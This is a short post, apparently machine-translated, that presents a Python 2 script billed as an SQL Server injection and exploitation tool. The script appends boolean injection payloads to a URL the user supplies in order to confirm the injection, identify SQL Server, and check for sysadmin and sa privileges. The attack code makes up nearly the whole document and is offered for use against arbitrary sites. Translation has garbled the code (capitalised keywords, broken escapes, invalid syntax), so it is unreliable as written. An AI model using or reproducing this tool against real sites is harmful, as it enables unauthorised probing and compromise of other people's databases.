When bored, a small program written in Python uses injection links to check whether the current database user is sa. There is no technical content.
# Code by zhaoxiaobu Email: little.bu@hotmail.com
- #-*-Coding: UTF-8 -*-
- From sys import exit
- From urllib import urlopen
- From string import join, strip
- From re import search
-
-
- Def is_sqlable ():
- Sql1 = "% 20and % 201 = 2"
- Sql2 = "% 20and % 201 = 1"
- Urlfile1 = urlopen (url + sql1)
- Urlfile2 = urlopen (url + sql2)
- Htmlcodes1 = urlfile1.read ()
- Htmlcodes2 = urlfile2.read ()
- If not search (judge, htmlcodes1) and search (judge, htmlcodes2 ):
- Print "[information] Congratulations! This URL has the injection vulnerability! \ N"
- Print "[information] determine whether the database is an SQL Server. Please wait ....."
- Is_SQLServer ()
- Else:
- Print "[Error] Are you sure this URL is usable? Try another one! \ N"
-
- Def is_SQLServer ():
- SQL = "% 20and % 20 exists % 20 (select % 20 * % 20 from % 20 sysobjects )"
- Urlfile = urlopen (url + SQL)
- Htmlcodes = urlfile. read ()
- If not search (judge, htmlcodes ):
- Print "[Error] The database does not seem to be from SQL Server! \ N"
- Else:
- Print "[information] confirm it is an SQL Server database! \ N"
- Print "[information] starts to check the current database user permissions. Please wait ......"
- Is_sysadmin ()
-
-
- Def is_sysadmin ():
- SQL = "% 20and % 201 = (select % 20IS_SRVROLEMEMBER ('sysadmin '))"
- Urlfile = urlopen (url + SQL)
- Htmlcodes = urlfile. read ()
- If not search (judge, htmlcodes ):
- Print "[Error] the current database user does not have sysadmin permission! \ N"
- Else:
- Print "[information] the current database user has the sysadmin permission! \ N"
- Print "[information] Check whether the current user is SA. Please wait ......"
- Is_sa ()
-
- Def is_sa ():
- SQL = "% 20and % 20 'sa '= (select % 20System_user )";
- Urlfile = urlopen (url + SQL)
- Htmlcodes = urlfile. read ()
- If not search (judge, htmlcodes ):
- Print "[Error] the current database user is not SA! \ N"
- Else:
- Print "[information] the current database user is SA! \ N"
-
-
-
- Print "\ n #################################### ##################################### \ n"
- Print "^ o ^ SQL Server injection and exploitation tool ^ o ^"
- Print "Email: little.bu@hotmail.com \ n"
- Print "============================================ ======================================= ";
- Url = raw_input ('[info] Please enter a link that may have an injection vulnerability! \ NURL :')
- If url = '':
- Print "[Error] The provided URL must have '. asp? Xxx = 'this format"
- Exit (1)
-
- Judge = raw_input ("[information] Please provide a judgment string. \ n judgment string :")
- If judge = '':
- Print "[Error] The Judgment string cannot be blank! "
- Exit (1)
-
- Is_sqlable ()